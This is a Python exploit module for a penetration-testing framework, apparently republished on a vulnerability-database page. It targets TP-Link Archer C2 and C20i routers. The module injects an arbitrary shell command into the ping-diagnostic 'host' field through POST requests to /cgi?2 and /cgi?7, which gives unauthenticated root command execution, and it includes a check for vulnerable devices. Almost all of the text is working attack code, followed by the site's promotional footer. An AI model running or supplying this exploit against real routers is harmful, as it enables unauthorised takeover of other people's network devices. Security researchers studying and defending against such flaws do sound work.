TP-Link Archer C2 & C20i
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TP-Link Archer C2 & C20i"""
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'TP-Link Archer C2 & C20i',
'description': 'Exploits TP-Link Archer C2 and Archer C20i remote code execution vulnerability that allows executing commands on operating system level with root privileges.',
'author': ['Michal Sajdak <[email protected]', 'Marcin Bury'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['http://sekurak.pl/tp-link-root-bez-uwierzytelnienia-urzadzenia-archer-c20i-oraz-c2/'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def execute(self, cmd):
referer = "{}/mainFrame.htm".format(self.target)
headers = {
"Content-Type": "text/plain",
"Referer": referer
}
data = ("[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
"dataBlockSize=64\r\n"
"timeout=1\r\n"
"numberOfRepetitions=1\r\n"
"host=127.0.0.1;" + cmd + ";\r\n"
"X_TP_ConnName=ewan_ipoe_s\r\n"
"diagnosticsState=Requested\r\n")
# send command
self.http_request(
method="POST",
path="/cgi?2",
headers=headers,
data=data
)
data = ("[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n")
# execute command on device
self.http_request(
method="POST",
path="/cgi?7",
headers=headers,
data=data
)
time.sleep(1)
return ""
def check(self):
referer = self.get_target_url(path="/mainFrame.htm")
headers = {
"Content-Type": "text/plain",
"Referer": referer
}
data = (
"[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
"dataBlockSize=64\r\n"
"timeout=1\r\n"
"numberOfRepetitions=1\r\n"
"host=127.0.0.1\r\n"
"X_TP_ConnName=ewan_ipoe_s\r\n"
"diagnosticsState=Requested\r\n"
)
response = self.http_request(
method="POST",
path="/cgi?2",
headers=headers,
data=data
)
if response is None:
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
if response.status_code == 200 and "[error]0" in response.text:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"} # target is vulnerable
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
6.3Medium risk
Vulners AI Score6.3